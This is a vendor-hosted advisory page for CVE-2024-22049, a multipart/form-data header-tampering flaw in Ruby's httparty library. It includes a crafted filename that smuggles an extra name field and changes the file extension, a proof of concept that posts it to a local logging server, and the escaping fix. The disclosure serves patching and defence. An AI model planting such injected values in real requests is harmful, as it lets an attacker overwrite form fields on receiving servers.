Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2024-22049 — debian-linux

🟡 CVSS 5.3 — Medium ⚠️ Exploit Public CWE-472 NVD
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

httparty has multipart/form-data request tampering vulnerability

Impact

I found "multipart/form-data request tampering vulnerability" caused by Content-Disposition "filename" lack of escaping in httparty.

httparty/lib/httparty/request > body.rb > def generate_multipart

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

By exploiting this problem, the following attacks are possible

  • An attack that rewrites the "name" field according to the crafted file name, impersonating (overwriting) another field.
  • Attacks that rewrite the filename extension at the time multipart/form-data is generated by tampering with the filename

For example, this vulnerability can be exploited to generate the following Content-Disposition.

> Normal Request example:

> normal input filename: abc.txt

>

> generated normal header in multipart/form-data

> Content-Disposition: form-data; name="avatar"; filename="abc.txt"

> Malicious Request example

> malicious input filename: overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt

>

> generated malicious header in multipart/form-data:

> Content-Disposition: form-data; name="avatar"; filename="overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt"

The Abused Header has multiple name ( avatar & foo ) fields and the "filename" has been rewritten from *.txt to *.sh .

These problems can result in successful or unsuccessful attacks, depending on the behavior of the parser receiving the request.

I have confirmed that the attack succeeds, at least in the following frameworks

  • Spring (Java)
  • Ktor (Kotlin)
  • Ruby on Rails (Ruby)

The cause of this problem is the lack of escaping of the " (Double-Quote) character in Content-Disposition > filename.

WhatWG's HTML spec has an escaping requirement.

https://html.spec.whatwg.org/#multipart-form-data

> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Patches

As noted at the beginning of this section, encoding must be done as described in the HTML Spec.

https://html.spec.whatwg.org/#multipart-form-data

> For field names and filenames for file fields, the result of the encoding in the previous bullet point must be escaped by replacing any 0x0A (LF) bytes with the byte sequence %0A, 0x0D (CR) with %0D and 0x22 (") with %22. The user agent must not perform any other escapes.

Therefore, it is recommended that Content-Disposition be modified by either of the following

> Before:

> Content-Disposition: attachment;filename="malicious.sh";dummy=.txt

> After:

> Content-Disposition: attachment;filename="%22malicious.sh%22;dummy=.txt"

https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43

```

file_name.gsub('"', '%22')

```

Also, as for \r, \n, URL Encode is not done, but it is not newlines, so it seemed to be OK.

However, since there may be omissions, it is safer to URL encode these as well, if possible.

( \r to %0A and \d to %0D )

PoC

PoC Environment

OS: macOS Monterey(12.3)

Ruby ver: ruby 3.1.2p20

httparty ver: 0.20.0

(Python3 - HTTP Request Logging Server)

PoC procedure

(Linux or MacOS is required.

This is because Windows does not allow file names containing " (double-quote) .)

1. Create Project

```

$ mkdir my-app

$ cd my-app

$ gem install httparty

```

2. Create malicious file

```

$ touch 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'

```

3. Generate Vuln code

```

$ vi example.rb

```

```

require 'httparty'

filename = 'overwrite_name_field_and_extension.sh"; name="foo"; dummy=".txt'

HTTParty.post('http://localhost:12345/',

body: {

name: 'Foo Bar',

email: '[email protected]',

avatar: File.open(filename)

}

)

```

4. Run Logging Server

I write Python code, but any method will work as long as you can see the HTTP Request Body.

(e.g. Debugger, HTTP Logging Server, Packet Capture)

$ vi logging.py

```

from http.server import HTTPServer

from http.server import BaseHTTPRequestHandler

class LoggingServer(BaseHTTPRequestHandler):

def do_POST(self):

self.send_response(200)

self.end_headers()

self.wfile.write("ok".encode("utf-8"))

content_length = int(self.headers['Content-Length'])

post_data = self.rfile.read(content_length)

print("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",

str(self.path), str(self.headers), post_data.decode('utf-8'))

self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))

ip = '127.0.0.1'

port = 12345

server = HTTPServer((ip, port), LoggingServer)

server.serve_forever()

```

$ python logging.py

5. Run & Logging server

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2024-22049 is classified as CWE-472: External Control of Assumed-Immutable Web Parameter. The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.

Affected software

CVE-2024-22049 is recorded against 3 packages.

  • debian-linux
  • fedora
  • httparty (fixed in 0.21.0)

Timeline and source

Published on 4 January 2024 and last revised on 14 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com
lists.debian.org
lists.fedoraproject.org
lists.fedoraproject.org
vulncheck.com
github.com
github.com
github.com
github.com
lists.debian.org
lists.debian.org
lists.fedoraproject.org
lists.fedoraproject.org
vulncheck.com

Other advisories for this package

debian-linux has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-472: External Control of Assumed-Immutable Web Parameter) in other software:

CVE-2024-22049 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CWE CWE-472
Public Exploit ⚠️ Yes
Source NVD
Published 2024-01-04
Updated 2026-08-20
Modified 2026-07-14

Affected Packages

Software From version Fixed in
debian-linux — —
fedora — —
httparty — 0.21.0

References

Similar Threats

Exploit Protection

Are you running debian-linux?

CVE-2024-22049 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2024-22049 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2024
✓